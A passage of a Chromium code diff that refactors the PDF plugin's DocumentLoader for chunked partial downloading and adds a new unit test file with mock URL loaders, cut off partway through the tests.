-  if (rv != PP_OK_COMPLETIONPENDING)
-    callback.Run(rv);
+  loader_->ReadResponseBody(
+      buffer_, sizeof(buffer_),
+      loader_factory_.NewCallback(&DocumentLoader::DidRead));
 }
 
 void DocumentLoader::DidRead(int32_t result) {
-  if (result <= 0) {
-    // If |result| == PP_OK, the document was loaded, otherwise an error was
-    // encountered. Either way we want to stop processing the response. In the
-    // case where an error occurred, the renderer will detect that we're missing
-    // data and will display a message.
-    ReadComplete();
-    return;
+  if (result < 0) {
+    // An error occurred.
+    // The renderer will detect that we're missing data and will display a
+    // message.
+    return ReadComplete();
   }
-
-  char* start = buffer_;
-  size_t length = result;
-  if (is_multipart_ && result > 2) {
-    for (int i = 2; i < result; ++i) {
-      if (IsDoubleNewlines(buffer_, i)) {
-        uint32_t start_pos;
-        uint32_t end_pos;
-        if (GetByteRange(std::string(buffer_, i), &start_pos, &end_pos)) {
-          current_pos_ = start_pos;
-          start += i;
-          length -= i;
-          if (end_pos && end_pos > start_pos)
-            current_chunk_size_ = end_pos - start_pos + 1;
-        }
-        break;
-      }
+  if (result == 0) {
+    loader_.reset();
+    if (!is_partial_loader_active_)
+      return ReadComplete();
+    return ContinueDownload();
+  }
+  if (loader_->IsMultipart()) {
+    int start_pos = 0;
+    int end_pos = 0;
+    if (!loader_->GetByteRange(&start_pos, &end_pos)) {
+      return ReadComplete();
     }
-
-    // Reset this flag so we don't look inside the buffer in future calls of
-    // DidRead for this response.  Note that this code DOES NOT handle multi-
-    // part responses with more than one part (we don't issue them at the
-    // moment, so they shouldn't arrive).
-    is_multipart_ = false;
+    DCHECK(!chunk_.chunk_data);
+    chunk_.chunk_index = chunk_stream_.GetChunkIndex(start_pos);
   }
-
-  if (current_chunk_size_ && current_chunk_read_ + length > current_chunk_size_)
-    length = current_chunk_size_ - current_chunk_read_;
-
-  if (length) {
-    if (document_size_ > 0) {
-      chunk_stream_.WriteData(current_pos_, start, length);
-    } else {
-      // If we did not get content-length in the response, we can't
-      // preallocate buffer for the entire document. Resizing array causing
-      // memory fragmentation issues on the large files and OOM exceptions.
-      // To fix this, we collect all chunks of the file to the list and
-      // concatenate them together after request is complete.
-      std::vector<unsigned char> buf(length);
-      memcpy(buf.data(), start, length);
-      chunk_buffer_.push_back(std::move(buf));
-    }
-    current_pos_ += length;
-    current_chunk_read_ += length;
-    client_->OnNewDataAvailable();
+  if (!SaveChunkData(buffer_, result)) {
+    return ReadMore();
   }
-
-  // Only call the renderer if we allow partial loading.
-  if (!partial_document_) {
-    ReadMore();
-    return;
+  if (IsDocumentComplete()) {
+    return ReadComplete();
   }
-
-  UpdateRendering();
-  RemoveCompletedRanges();
-
-  if (!pending_requests_.empty()) {
-    // If there are pending requests and the current content we're downloading
-    // doesn't satisfy any of these requests, cancel the current request to
-    // fullfill those more important requests.
-    bool satisfying_pending_request =
-        SatisfyingRequest(current_request_offset_, current_request_size_);
-    for (const auto& pending_request : pending_requests_) {
-      if (SatisfyingRequest(pending_request.first, pending_request.second)) {
-        satisfying_pending_request = true;
-        break;
-      }
-    }
-    // Cancel the request as it's not satisfying any request from the
-    // renderer, unless the current request is finished in which case we let
-    // it finish cleanly.
-    if (!satisfying_pending_request &&
-        current_pos_ <
-            current_request_offset_ + current_request_extended_size_) {
-      loader_.Close();
-    }
-  }
-
-  ReadMore();
+  return ContinueDownload();
 }
 
-bool DocumentLoader::SatisfyingRequest(size_t offset, size_t size) const {
-  return offset <= current_pos_ + kDefaultRequestSize &&
-         current_pos_ < offset + size;
+bool DocumentLoader::SaveChunkData(char* input, uint32_t input_size) {
+  count_of_bytes_received_ += input_size;
+  bool chunk_saved = false;
+  bool loading_pending_request = pending_requests_.Contains(chunk_.chunk_index);
+  while (input_size > 0) {
+    if (chunk_.data_size == 0) {
+      chunk_.chunk_data = base::MakeUnique<DataStream::ChunkData>();
+    }
+    const uint32_t new_chunk_data_len =
+        std::min(DataStream::kChunkSize - chunk_.data_size, input_size);
+    memcpy(chunk_.chunk_data->data() + chunk_.data_size, input,
+           new_chunk_data_len);
+    chunk_.data_size += new_chunk_data_len;
+    if (chunk_.data_size == DataStream::kChunkSize ||
+        chunk_stream_.eof_pos() ==
+            chunk_.chunk_index * DataStream::kChunkSize + chunk_.data_size) {
+      chunk_stream_.SetChunkData(chunk_.chunk_index,
+                                 std::move(chunk_.chunk_data));
+      pending_requests_.Subtract(
+          gfx::Range(chunk_.chunk_index, chunk_.chunk_index + 1));
+      chunk_.data_size = 0;
+      ++(chunk_.chunk_index);
+      chunk_saved = true;
+    }
+
+    input += new_chunk_data_len;
+    input_size -= new_chunk_data_len;
+  }
+
+  if (IsDocumentComplete())
+    return true;
+
+  if (!chunk_saved)
+    return false;
+
+  if (loading_pending_request &&
+      !pending_requests_.Contains(chunk_.chunk_index)) {
+    client_->OnPendingRequestComplete();
+  }
+  client_->OnNewDataAvailable();
+  return true;
 }
 
 void DocumentLoader::ReadComplete() {
-  if (!partial_document_) {
-    if (document_size_ == 0) {
-      // For the document with no 'content-length" specified we've collected all
-      // the chunks already. Let's allocate final document buffer and copy them
-      // over.
-      chunk_stream_.Preallocate(current_pos_);
-      uint32_t pos = 0;
-      for (auto& chunk : chunk_buffer_) {
-        chunk_stream_.WriteData(pos, chunk.data(), chunk.size());
-        pos += chunk.size();
-      }
-      chunk_buffer_.clear();
+  if (!GetDocumentSize()) {
+    uint32_t eof =
+        chunk_.chunk_index * DataStream::kChunkSize + chunk_.data_size;
+    if (!chunk_stream_.filled_chunks().IsEmpty()) {
+      eof = std::max(
+          chunk_stream_.filled_chunks().Last().end() * DataStream::kChunkSize,
+          eof);
     }
-    document_size_ = current_pos_;
-    client_->OnDocumentComplete();
-    return;
+    chunk_stream_.set_eof_pos(eof);
+    if (eof == chunk_.chunk_index * DataStream::kChunkSize + chunk_.data_size) {
+      chunk_stream_.SetChunkData(chunk_.chunk_index,
+                                 std::move(chunk_.chunk_data));
+    }
   }
-
-  request_pending_ = false;
-
+  loader_.reset();
   if (IsDocumentComplete()) {
     client_->OnDocumentComplete();
-    return;
+  } else {
+    client_->OnDocumentCanceled();
   }
-
-  UpdateRendering();
-  DownloadPendingRequests();
 }
 
-void DocumentLoader::UpdateRendering() {
-  if (header_request_)
-    client_->OnPartialDocumentLoaded();
-  else
-    client_->OnPendingRequestComplete();
-  header_request_ = false;
+float DocumentLoader::GetProgress() const {
+  if (!GetDocumentSize())
+    return -1;
+  if (IsDocumentComplete())
+    return 1;
+  return static_cast<float>(chunk_stream_.filled_chunks_count()) /
+         chunk_stream_.total_chunks_count();
 }
 
 }  // namespace chrome_pdf
diff --git a/pdf/document_loader.h b/pdf/document_loader.h
index 127ca5d0..54bce41 100644
--- a/pdf/document_loader.h
+++ b/pdf/document_loader.h
@@ -9,18 +9,23 @@
 #include <stdint.h>
 
 #include <list>
+#include <memory>
 #include <string>
 #include <utility>
 #include <vector>
 
 #include "pdf/chunk_stream.h"
-#include "ppapi/cpp/url_loader.h"
 #include "ppapi/utility/completion_callback_factory.h"
 
 namespace chrome_pdf {
 
+class URLLoaderWrapper;
+
 class DocumentLoader {
  public:
+  // Number was chosen in crbug.com/78264#c8
+  static constexpr uint32_t kDefaultRequestSize = 65536;
+
   class Client {
    public:
     virtual ~Client();
@@ -28,27 +33,23 @@
     // Gets the pp::Instance object.
     virtual pp::Instance* GetPluginInstance() = 0;
     // Creates new URLLoader based on client settings.
-    virtual pp::URLLoader CreateURLLoader() = 0;
-    // Notification called when partial information about document is available.
-    // Only called for urls that returns full content size and supports byte
-    // range requests.
-    virtual void OnPartialDocumentLoaded() = 0;
+    virtual std::unique_ptr<URLLoaderWrapper> CreateURLLoader() = 0;
     // Notification called when all outstanding pending requests are complete.
     virtual void OnPendingRequestComplete() = 0;
     // Notification called when new data is available.
     virtual void OnNewDataAvailable() = 0;
-    // Notification called if document failed to load.
-    virtual void OnDocumentFailed() = 0;
     // Notification called when document is fully loaded.
     virtual void OnDocumentComplete() = 0;
+    // Notification called when document loading is canceled.
+    virtual void OnDocumentCanceled() = 0;
+    // Called when initial loader was closed.
+    virtual void CancelBrowserDownload() = 0;
   };
 
   explicit DocumentLoader(Client* client);
   ~DocumentLoader();
 
-  bool Init(const pp::URLLoader& loader,
-            const std::string& url,
-            const std::string& headers);
+  bool Init(std::unique_ptr<URLLoaderWrapper> loader, const std::string& url);
 
   // Data access interface. Return true is successful.
   bool GetBlock(uint32_t position, uint32_t size, void* buf) const;
@@ -60,77 +61,60 @@
   void RequestData(uint32_t position, uint32_t size);
 
   bool IsDocumentComplete() const;
-  uint32_t document_size() const { return document_size_; }
-
-  // Return number of bytes available.
-  uint32_t GetAvailableData() const;
+  uint32_t GetDocumentSize() const;
+  uint32_t count_of_bytes_received() const { return count_of_bytes_received_; }
+  float GetProgress() const;
 
   // Clear pending requests from the queue.
   void ClearPendingRequests();
 
-  bool is_partial_document() const { return partial_document_; }
+  void SetPartialLoadingEnabled(bool enabled);
+
+  bool is_partial_loader_active() const { return is_partial_loader_active_; }
 
  private:
+  using DataStream = ChunkStream<kDefaultRequestSize>;
+  struct Chunk {
+    Chunk();
+    ~Chunk();
+
+    void Clear();
+
+    uint32_t chunk_index = 0;
+    uint32_t data_size = 0;
+    std::unique_ptr<DataStream::ChunkData> chunk_data;
+  };
+
   // Called by the completion callback of the document's URLLoader.
-  void DidOpen(int32_t result);
+  void DidOpenPartial(int32_t result);
   // Call to read data from the document's URLLoader.
   void ReadMore();
   // Called by the completion callback of the document's URLLoader.
   void DidRead(int32_t result);
 
-  // Called when we detect that partial document load is possible.
-  void LoadPartialDocument();
-  // Called when we have to load full document.
-  void LoadFullDocument();
-  // Download pending requests.
-  void DownloadPendingRequests();
-  // Remove completed ranges.
-  void RemoveCompletedRanges();
-  // Returns true if we are already in progress satisfying the request, or just
-  // about ready to start. This helps us avoid expensive jumping around, and
-  // even worse leaving tiny gaps in the byte stream that might have to be
-  // filled later.
-  bool SatisfyingRequest(size_t pos, size_t size) const;
-  // Called when we complete server request and read all data from it.
+  bool ShouldCancelLoading() const;
+  void ContinueDownload();
+  // Called when we complete server request.
   void ReadComplete();
-  // Creates request to download size byte of data data starting from position.
-  pp::URLRequestInfo GetRequest(uint32_t position, uint32_t size) const;
-  // Updates the rendering by the Client.
-  void UpdateRendering();
 
-  // Document below size will be downloaded in one chunk.
-  static const uint32_t kMinFileSize = 64 * 1024;
-  // Number was chosen in crbug.com/78264#c8
-  enum { kDefaultRequestSize = 65536 };
+  bool SaveChunkData(char* input, uint32_t input_size);
 
   Client* const client_;
   std::string url_;
-  pp::URLLoader loader_;
+  std::unique_ptr<URLLoaderWrapper> loader_;
+
   pp::CompletionCallbackFactory<DocumentLoader> loader_factory_;
-  ChunkStream chunk_stream_;
-  bool partial_document_;
-  bool request_pending_;
-  using PendingRequests = std::list<std::pair<size_t, size_t>>;
-  PendingRequests pending_requests_;
-  // The starting position of the HTTP request currently being processed.
-  size_t current_request_offset_;
-  // The size of the byte range the current HTTP request must download before
-  // being cancelled.
-  size_t current_request_size_;
-  // The actual byte range size of the current HTTP request. This may be larger
-  // than |current_request_size_| and the request may be cancelled before
-  // reaching |current_request_offset_| + |current_request_extended_size_|.
-  size_t current_request_extended_size_;
-  char buffer_[kDefaultRequestSize];
-  uint32_t current_pos_;
-  uint32_t current_chunk_size_;
-  uint32_t current_chunk_read_;
-  uint32_t document_size_;
-  bool header_request_;
-  bool is_multipart_;
-  std::string multipart_boundary_;
-  uint32_t requests_count_;
-  std::vector<std::vector<unsigned char>> chunk_buffer_;
+
+  DataStream chunk_stream_;
+  bool partial_loading_enabled_ = true;
+  bool is_partial_loader_active_ = false;
+
+  static constexpr uint32_t kReadBufferSize = 256 * 1024;
+  char buffer_[kReadBufferSize];
+
+  Chunk chunk_;
+  RangeSet pending_requests_;
+  uint32_t count_of_bytes_received_ = 0;
 };
 
 }  // namespace chrome_pdf
diff --git a/pdf/document_loader_unittest.cc b/pdf/document_loader_unittest.cc
new file mode 100644
index 0000000..5d3df8d
--- /dev/null
+++ b/pdf/document_loader_unittest.cc
@@ -0,0 +1,1179 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "pdf/document_loader.h"
+
+#include <memory>
+#include <string>
+
+#include "base/logging.h"
+#include "pdf/url_loader_wrapper.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "ui/gfx/range/range.h"
+
+using ::testing::_;
+using ::testing::Mock;
+using ::testing::Sequence;
+using ::testing::NiceMock;
+using ::testing::Return;
+
+namespace chrome_pdf {
+
+namespace {
+
+class TestURLLoader : public URLLoaderWrapper {
+ public:
+  class LoaderData {
+   public:
+    LoaderData() {}
+    ~LoaderData() {
+      // We should call callbacks to prevent memory leaks.
+      // The callbacks don't do anything, because the objects that created the
+      // callbacks have been destroyed.
+      if (IsWaitRead())
+        CallReadCallback(-1);
+      if (IsWaitOpen())
+        CallOpenCallback(-1);
+    }
+
+    int content_length() const { return content_length_; }
+    void set_content_length(int content_length) {
+      content_length_ = content_length;
+    }
+    bool accept_ranges_bytes() const { return accept_ranges_bytes_; }
+    void set_accept_ranges_bytes(bool accept_ranges_bytes) {
+      accept_ranges_bytes_ = accept_ranges_bytes;
+    }
+    bool content_encoded() const { return content_encoded_; }
+    void set_content_encoded(bool content_encoded) {
+      content_encoded_ = content_encoded;
+    }
+    const std::string& content_type() const { return content_type_; }
+    void set_content_type(const std::string& content_type) {
+      content_type_ = content_type;
+    }
+    const std::string& content_disposition() const {
+      return content_disposition_;
+    }
+    void set_content_disposition(const std::string& content_disposition) {
+      content_disposition_ = content_disposition;
+    }
+    const std::string& multipart_boundary() const {
+      return multipart_boundary_;
+    }
+    void set_multipart_boundary(const std::string& multipart_boundary) {
+      multipart_boundary_ = multipart_boundary;
+    }
+    const gfx::Range& byte_range() const { return byte_range_; }
+    void set_byte_range(const gfx::Range& byte_range) {
+      byte_range_ = byte_range;
+    }
+    bool is_multipart() const { return is_multipart_; }
+    void set_is_multipart(bool is_multipart) { is_multipart_ = is_multipart; }
+    int status_code() const { return status_code_; }
+    void set_status_code(int status_code) { status_code_ = status_code; }
+    bool closed() const { return closed_; }
+    void set_closed(bool closed) { closed_ = closed; }
+    const gfx::Range& open_byte_range() const { return open_byte_range_; }
+    void set_open_byte_range(const gfx::Range& open_byte_range) {
+      open_byte_range_ = open_byte_range;
+    }
+
+    bool IsWaitRead() const { return !did_read_callback_.IsOptional(); }
+    bool IsWaitOpen() const { return !did_open_callback_.IsOptional(); }
+    char* buffer() const { return buffer_; }
+    int buffer_size() const { return buffer_size_; }
+
+    void SetReadCallback(const pp::CompletionCallback& read_callback,
+                         char* buffer,
+                         int buffer_size) {
+      did_read_callback_ = read_callback;
+      buffer_ = buffer;
+      buffer_size_ = buffer_size;
+    }
+
+    void SetOpenCallback(const pp::CompletionCallback& open_callback,
+                         gfx::Range req_byte_range) {
+      did_open_callback_ = open_callback;
+      set_open_byte_range(req_byte_range);
+    }
+
+    void CallOpenCallback(int result) {
+      DCHECK(IsWaitOpen());
+      did_open_callback_.RunAndClear(result);
+    }
+
+    void CallReadCallback(int result) {
+      DCHECK(IsWaitRead());
+      did_read_callback_.RunAndClear(result);
+    }
+
+   private:
+    pp::CompletionCallback did_open_callback_;
+    pp::CompletionCallback did_read_callback_;
+    char* buffer_ = nullptr;
+    int buffer_size_ = 0;
+
+    int content_length_ = -1;
+    bool accept_ranges_bytes_ = false;
+    bool content_encoded_ = false;
+    std::string content_type_;
+    std::string content_disposition_;
+    std::string multipart_boundary_;
+    gfx::Range byte_range_ = gfx::Range::InvalidRange();
+    bool is_multipart_ = false;
+    int status_code_ = 0;
+    bool closed_ = true;
+    gfx::Range open_byte_range_ = gfx::Range::InvalidRange();
+
+    DISALLOW_COPY_AND_ASSIGN(LoaderData);
+  };
+
+  explicit TestURLLoader(LoaderData* data) : data_(data) {
+    data_->set_closed(false);
+  }
+
+  ~TestURLLoader() override { Close(); }
+
+  int GetContentLength() const override { return data_->content_length(); }
+
+  bool IsAcceptRangesBytes() const override {
+    return data_->accept_ranges_bytes();
+  }
+
+  bool IsContentEncoded() const override { return data_->content_encoded(); }
+
+  std::string GetContentType() const override { return data_->content_type(); }
+
+  std::string GetContentDisposition() const override {
+    return data_->content_disposition();
+  }
+
+  int GetStatusCode() const override { return data_->status_code(); }
+
+  bool IsMultipart() const override { return data_->is_multipart(); }
+
+  bool GetByteRange(int* start, int* end) const override {
+    *start = data_->byte_range().start();
+    *end = data_->byte_range().end();
+    return data_->byte_range().IsValid();
+  }
+
+  void Close() override { data_->set_closed(true); }
+
+  void OpenRange(const std::string& url,
+                 const std::string& referrer_url,
+                 uint32_t position,
+                 uint32_t size,
+                 const pp::CompletionCallback& cc) override {
+    data_->SetOpenCallback(cc, gfx::Range(position, position + size));
+  }
+
+  void ReadResponseBody(char* buffer,
+                        int buffer_size,
+                        const pp::CompletionCallback& cc) override {
+    data_->SetReadCallback(cc, buffer, buffer_size);
+  }
+
+  bool GetDownloadProgress(int64_t* bytes_received,
+                           int64_t* total_bytes_to_be_received) const override {
+    return false;
+  }
+
+ private:
+  LoaderData* data_;
+
+  DISALLOW_COPY_AND_ASSIGN(TestURLLoader);
+};
+
+class TestClient : public DocumentLoader::Client {
+ public:
+  TestClient() { full_page_loader_data()->set_content_type("application/pdf"); }
+  ~TestClient() override {}
+
+  // DocumentLoader::Client overrides:
+  pp::Instance* GetPluginInstance() override { return nullptr; }
+  std::unique_ptr<URLLoaderWrapper> CreateURLLoader() override {
+    return std::unique_ptr<URLLoaderWrapper>(
+        new TestURLLoader(partial_loader_data()));
+  }
+  void OnPendingRequestComplete() override {}
+  void OnNewDataAvailable() override {}
+  void OnDocumentComplete() override {}
+  void OnDocumentCanceled() override {}
+  void CancelBrowserDownload() override {}
+
+  std::unique_ptr<URLLoaderWrapper> CreateFullPageLoader() {
+    return std::unique_ptr<URLLoaderWrapper>(
+        new TestURLLoader(full_page_loader_data()));
+  }
+
+  TestURLLoader::LoaderData* full_page_loader_data() {
+    return &full_page_loader_data_;
+  }
+  TestURLLoader::LoaderData* partial_loader_data() {
+    return &partial_loader_data_;
+  }
+
+  void SetCanUsePartialLoading() {
+    full_page_loader_data()->set_content_length(10 * 1024 * 1024);
+    full_page_loader_data()->set_content_encoded(false);
+    full_page_loader_data()->set_accept_ranges_bytes(true);
+  }
+
+  void SendAllPartialData() {
+    partial_loader_data_.set_byte_range(partial_loader_data_.open_byte_range());
+    partial_loader_data_.CallOpenCallback(0);
+    uint32_t length = partial_loader_data_.byte_range().length();
+    while (length > 0) {
+      const uint32_t max_part_len = DocumentLoader::kDefaultRequestSize;
+      const uint32_t part_len = std::min(length, max_part_len);
+      partial_loader_data_.CallReadCallback(part_len);
+      length -= part_len;
+    }
+    if (partial_loader_data_.IsWaitRead()) {
+      partial_loader_data_.CallReadCallback(0);
+    }
+  }
+
+ private:
+  TestURLLoader::LoaderData full_page_loader_data_;
+  TestURLLoader::LoaderData partial_loader_data_;
+
+  DISALLOW_COPY_AND_ASSIGN(TestClient);
+};
+
+class MockClient : public TestClient {
+ public:
+  MockClient() {}
+
+  MOCK_METHOD0(OnPendingRequestComplete, void());
+  MOCK_METHOD0(OnNewDataAvailable, void());
+  MOCK_METHOD0(OnDocumentComplete, void());
+  MOCK_METHOD0(OnDocumentCanceled, void());
+
+ private:
+  DISALLOW_COPY_AND_ASSIGN(MockClient);
+};
+
+}  // namespace
+
+using DocumentLoaderTest = ::testing::Test;
+
+TEST_F(DocumentLoaderTest, PartialLoadingEnabled) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(1000000, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingDisabledOnSmallFiles) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 2);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(1000000, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingDisabledIfContentEncoded) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_encoded(true);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(1000000, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingDisabledNoAcceptRangeBytes) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_accept_ranges_bytes(false);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(1000000, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingReallyDisabledRequestFromBegin) {
+  TestClient client;
+  DocumentLoader loader(&client);
+  client.SetCanUsePartialLoading();
+  loader.SetPartialLoadingEnabled(false);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  // We should not start partial loading if requested data is beside full page
+  // loading position.
+  loader.RequestData(DocumentLoader::kDefaultRequestSize, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingReallyDisabledRequestFromMiddle) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.SetPartialLoadingEnabled(false);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(1000000, 1);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingSimple) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  // While we have no requests, we should not start partial loading.
+  EXPECT_FALSE(loader.is_partial_loader_active());
+
+  loader.RequestData(5000000, 1);
+
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_FALSE(loader.is_partial_loader_active());
+
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  // Partial loader should request headers.
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_TRUE(loader.is_partial_loader_active());
+  // Loader should be stopped.
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+
+  EXPECT_EQ("{4980736,10485760}",
+            client.partial_loader_data()->open_byte_range().ToString());
+}
+
+TEST_F(DocumentLoaderTest, PartialLoadingBackOrder) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  // While we have no requests, we should not start partial loading.
+  EXPECT_FALSE(loader.is_partial_loader_active());
+
+  loader.RequestData(client.full_page_loader_data()->content_length() - 1, 1);
+
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_FALSE(loader.is_partial_loader_active());
+
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  // Partial loader should request headers.
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_TRUE(loader.is_partial_loader_active());
+  // Loader should be stopped.
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+
+  // Requested range should be enlarged.
+  EXPECT_GT(client.partial_loader_data()->open_byte_range().length(), 1u);
+  EXPECT_EQ("{9830400,10485760}",
+            client.partial_loader_data()->open_byte_range().ToString());
+}
+
+TEST_F(DocumentLoaderTest, CompleteWithoutPartial) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_FALSE(client.full_page_loader_data()->closed());
+  while (client.full_page_loader_data()->IsWaitRead()) {
+    client.full_page_loader_data()->CallReadCallback(1000);
+  }
+  EXPECT_TRUE(loader.IsDocumentComplete());
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, ErrorDownloadFullDocument) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_TRUE(client.full_page_loader_data()->IsWaitRead());
+  EXPECT_FALSE(client.full_page_loader_data()->closed());
+  client.full_page_loader_data()->CallReadCallback(-3);
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+  EXPECT_FALSE(loader.IsDocumentComplete());
+}
+
+TEST_F(DocumentLoaderTest, CompleteNoContentLength) {
+  TestClient client;
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_FALSE(client.full_page_loader_data()->closed());
+  for (int i = 0; i < 10; ++i) {
+    EXPECT_TRUE(client.full_page_loader_data()->IsWaitRead());
+    client.full_page_loader_data()->CallReadCallback(1000);
+  }
+  EXPECT_TRUE(client.full_page_loader_data()->IsWaitRead());
+  client.full_page_loader_data()->CallReadCallback(0);
+  EXPECT_EQ(10000ul, loader.GetDocumentSize());
+  EXPECT_TRUE(loader.IsDocumentComplete());
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, CompleteWithPartial) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(19 * DocumentLoader::kDefaultRequestSize,
+                     DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(client.full_page_loader_data()->closed());
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitRead());
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+  EXPECT_FALSE(client.partial_loader_data()->closed());
+
+  client.SendAllPartialData();
+  // Now we should send other document data.
+  client.SendAllPartialData();
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, PartialRequestLastChunk) {
+  const uint32_t kLastChunkSize = 300;
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20 + kLastChunkSize);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(20 * DocumentLoader::kDefaultRequestSize, 1);
+
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_EQ(
+      static_cast<int>(client.partial_loader_data()->open_byte_range().end()),
+      client.full_page_loader_data()->content_length());
+  client.partial_loader_data()->set_byte_range(
+      client.partial_loader_data()->open_byte_range());
+  client.partial_loader_data()->CallOpenCallback(0);
+  uint32_t data_length = client.partial_loader_data()->byte_range().length();
+  while (data_length > DocumentLoader::kDefaultRequestSize) {
+    client.partial_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+    data_length -= DocumentLoader::kDefaultRequestSize;
+  }
+  EXPECT_EQ(kLastChunkSize, data_length);
+  client.partial_loader_data()->CallReadCallback(kLastChunkSize);
+  EXPECT_TRUE(loader.IsDataAvailable(DocumentLoader::kDefaultRequestSize * 20,
+                                     kLastChunkSize));
+}
+
+TEST_F(DocumentLoaderTest, DocumentSize) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(123456789);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_EQ(static_cast<int>(loader.GetDocumentSize()),
+            client.full_page_loader_data()->content_length());
+}
+
+TEST_F(DocumentLoaderTest, DocumentSizeNoContentLength) {
+  TestClient client;
+  DocumentLoader loader(&client);
